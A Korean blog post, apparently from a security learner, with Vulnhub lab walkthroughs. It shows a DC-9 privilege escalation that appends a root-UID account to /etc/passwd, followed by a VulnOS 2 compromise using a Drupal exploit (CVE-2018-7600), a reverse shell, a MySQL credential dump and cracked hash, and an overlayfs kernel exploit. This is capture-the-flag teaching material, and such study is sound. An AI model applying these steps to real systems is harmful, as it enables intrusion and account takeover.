$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1

# append 파일 생성
fredf@dc-9:~$ echo 'qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash' > append.txt

# 파일 추가
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test append.txt /etc/passwd; cat /etc/passwd | tail -n1
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash

 

관리자 권한 획득 완료

 

 

 

 

 

https://www.vulnhub.com/entry/vulnos-2,147/

 

VulnOS: 2

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

실습 환경 : VirtualBox

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24
Nmap scan report for 192.168.45.221
Host is up (0.00026s latency).
MAC Address: 08:00:27:E4:32:E7 (Oracle VirtualBox virtual NIC)

자세한 정보 수집은 각 서비스 포트별로 진행하겠습니다

 

SSH

openssh 6.6.1p1 버전 사용

접속 할때 설정된 배너는 없고, password를 요구하는 것을 확인했다

 

 

WEB

apache 2.4.7 버전을 사용하며 직접 접속하여 정보수집을 계속 진행한다

 

실습 VM에 대한 설명과 관리자 권한을 획득하여 플래그를 읽어라.. 라고 설명하고 website 부분에 하이퍼링크가 되어있다.

하이퍼링크로 접속했을 때 웹사이트 이다 JABC 라는 회사의 웹사이트이다. 페이지 소스에서는 별다른 특이점이 없어 robots.txt를 확인했다

robots.txt이다 많은 경로가 허용되지 않음이 되어있다 하나하나 다 살펴볼 순 없고 뭔가 많은 파일이 있을거같은 /includes나 /modules 같은 디렉터리에서 이 웹사이트를 구성하고 있는 CMS 같은 것을 살펴본다.

몇개의 파일을 보는데 Drupal 이라는 것이 자주 등장한다. 취약점 진단에서 더 자세히 진행한다

 

 

IRC

6667번 포트는 생소하다 irc 라고 하는데 검색을 해보니 실시간 채팅 프로토콜이라고 한다

irc 서버에 접속하는 무언가 있긴 하지만 딱히 얻을 수 있는 정보가 없는 것 같아 웹 취약점 진단으로 들어간다

 

취약점 진단

Drupal 이 뭘까? searchsploit 툴을 이용하여 한번 검색해본다

많은 정보가 뜬다 디렉터리에서 조금 더 버전 정보에 대해서 찾아본다

 

이런 글의 단서와 /modules/update/ 디렉터리에 있는 update에 관련된 내용을 다운 받아 보니

현재 7.26 버전임을 추측 가능하다

cve-2018-7600을 가진 공개 취약점(44482.rb)을 metasploit 툴을 이용하여 공격을 시도한다

 

익스플로잇

metasploit을 이용한 익스플로잇을 시도한다

리버스쉘을 획득하였고, 대상 호스트에 초기 침투를 성공했다

이후 권한 상승을 하기 위해서 linpeas.sh 스크립트를 이용해 자동화된 정보 수집을 진행한다

 

권한 상승

linpeas.sh 스크립트를 이용한 정보 수집에 대한 내용이다

 

대상 호스트에서 실행중인 mysql에 접속하여 유저정보에 대해서 덤프하였다

webmin 유저로 접속하기 위해서 데이터베이스에서 덤프한 해시화된 비밀번호이다 

MD5 해시화 된것을 확인했고 decrypt를 시켜보았다.

b78aae356709f8c31118ea613980954b : webmin1980

 

SSH 접속 후 권한 상승을 진행한다

SSH 접속 할때 시스템 정보를 잘 살펴봐야하는데 여기서는 ubuntu14.04.4 / Linux 3.13.0-24-generic 1686 이라고 친절하게 잘 알려준다

리눅스 커널 3.13에 대한 공개 취약점이 있는지 파악한다

overlayfs Local Privilege Escalation 입니다. 

공개 취약점으로 CVE-2015-1328 코드를 가지고 있습니다. 우분투에서 overlayfs 사용 중 상단 파일 시스템 디렉터리에서 파일 생성 시 overlayfs 가 파일 권한에 대해 제대로 확인하지 않아서 발생하는 취약점이라고 합니다.

FS_USERNS_MOUNT 플래그가 "CONFIG_USER_NS=y"를 가진 권한이 없는 프로세스에 의해 악용이 가능합니다

 

37292.c 파일을 공격자 PC에서 다운 받은 후에 대상 호스트에서 다운받습니다. 대상 호스트에서 컴파일을 해야 정상적인 실행이 되기 때문에 컴파일은 하지 않고 다운을 받습니다

/dev/shm에 남겨져있는 아티펙트는 모두 지우도록 하겠습니다

 

 

# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] DIGITALWORLD.LOCAL: MERCY v2 Walkthrough  (0) 2024.06.26
[Vulnhub] DC: 9 Walkthrough  (0) 2024.06.25
[Vulnhub] LazySysAdmin Walkthrough  (0) 2024.06.23
[Vulnhub] stapler Walkthrough  (1) 2024.06.22
[Vulnhub] FristiLeaks: 1.3 Walkthrough  (0) 2024.06.20

+ Recent posts